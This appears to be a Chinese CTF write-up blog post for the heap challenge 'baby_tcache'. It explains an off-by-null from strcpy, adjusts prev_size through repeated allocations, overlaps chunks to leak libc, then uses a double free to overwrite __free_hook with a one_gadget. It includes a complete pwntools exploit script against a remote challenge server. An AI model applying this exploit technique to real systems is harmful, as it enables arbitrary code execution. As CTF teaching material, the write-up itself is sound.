baby_tcacahe

add时用了strcpy函数,他在copy完对应字符串size的大小之后,会在最后加上一个’\x00’,这就造成了off by null,可以用来修改preinuse位来向前unlink合并,接下来就开始利用这点泄露libc,

首先,申请三个chunk,按地址序号为0 1 2 3,0 3 是大于0x408的unsortedchunk,3是防止top合并的chunk,2是tcachechunk,我们需要合并0 1 2,切片0,利用1泄露libc。

首先要设计好大小,我们选择size0为0x4e0,size1为0xf8(8是因为要off null),size3为0x4f0(为了chunksize写上0x501,需要01结尾才可以溢出修改)

设计好了后,就需要设计presize了,因为需要利用的是0 2两块chunk,所有必须得按照0 1 2的顺序申请chunk,意思是第一次申请1时,无法直接溢出,一定是free后申请回来的时候溢出。但本题中,free时它会将整个data写满0xda,而且他是用strcpy进行写入,这就导致什么p64(0x80)类似的,前面的0都无法写入,比如payload结尾加上p64(0x80),申请回来后,presize位会为0xdadadadadada0080,无法当作presize。

所以,这个题重点来了,因为chunk中0xf1-0xf8都会被当作同一类chunk,所以循环申请free,申请free这些chunk的任意一个,其实都是在对同一个chunk进行操作,这里思路就来了,先free0进入unsortedbin(出现fdbk等着unlink),1进入tcache(等着申请溢出),我们对1,首先第一次选择申请0xf8写满,这样溢出的00就会写入到chunk2的size里,变成0x500,再freechunk1,在申请0xf7,这样就会将最高位写为00,也就是0x00dadadadadadada,之后free在申请0xf6,就会0x0000dadadadadada…依次申请写入下去,直到变成0x000000000000dada,之后申请0xf2,最后写入前面的chunk大小(0x5f0),\xf0+\x05,不再free,就完全调整完成了。

此时free2,他就会合并前面的,而且chunk1还在我们手上,之后申请chunk0,就会让chunk1中出现libc。

拿到libc之后,因为指针被清零,无法uaf转doublefree,但是!此时我们可以发现,chunk1在unsortedbin链表中,但同时也在我们手中!所以已经有一根指针指向chunk1,此时如果在申请一个chunk1大小的chunk呢?就会又有一根指针指向chunk1,此时free这两根指针,不就是doublefree吗,所以接下来改写free hook为ogg就行。但此时又有个神奇的问题,我的ogg显示的是0x4f3c2,一共三个值,但是远程time out,本地却可以通。而且发现别人是四个值,最后用的别人的0x4f322打出来了

from pwn import * 
from LibcSearcher import *
#context(os='linux',arch='amd64',log_level='debug')

p = remote("node4.buuoj.cn",25951)
#p = process("./tcache")
#libc = ELF("/lib/i386-linux-gnu/libc-2.27.so")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")

def add(size, content):
	p.recvuntil("Your choice: ")
	p.sendline('1')
	p.recvuntil("Size:")
	p.sendline(str(int(size)))
	p.recvuntil("Data:")
	p.send(content)

def free(index):
	p.recvuntil("Your choice: ")
	p.sendline('3')
	p.recvuntil("Index:")
	p.sendline(str(index))

def show(index):
	p.recvuntil("Your choice: ")
	p.sendline('2')
	p.recvuntil("Index:")
	p.sendline(str(index))

add(0x4e0,"a"*0x20)
add(0xf8,"a"*0x20)
add(0x4f0,"a"*0x20)
add(0x10,"b")#3
free(0)
free(1)
for i in range(7):
	add(0xf8-i,'a'*(0xf8-i))
	free(0)
add(0xf2,'a'*0xf0+'\xf0'+'\x05')
free(2)
add(0x4e0,"a"*0x20)#1
show(0)
libc_base = u64(p.recv(6).ljust(8,'\x00'))-96-0x10-libc.sym["__malloc_hook"]
log.info("libc_base="+hex(libc_base))

add(0xf8,"a"*0x20)
free(0)
free(2)
add(0xf8,p64(libc_base+libc.sym["__free_hook"]))#0
add(0xf8,p64(libc_base+libc.sym["__free_hook"]))#1
add(0xf8,p64(libc_base+0x4f322))#2
free(0)
#gdb.attach(p)
p.interactive()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值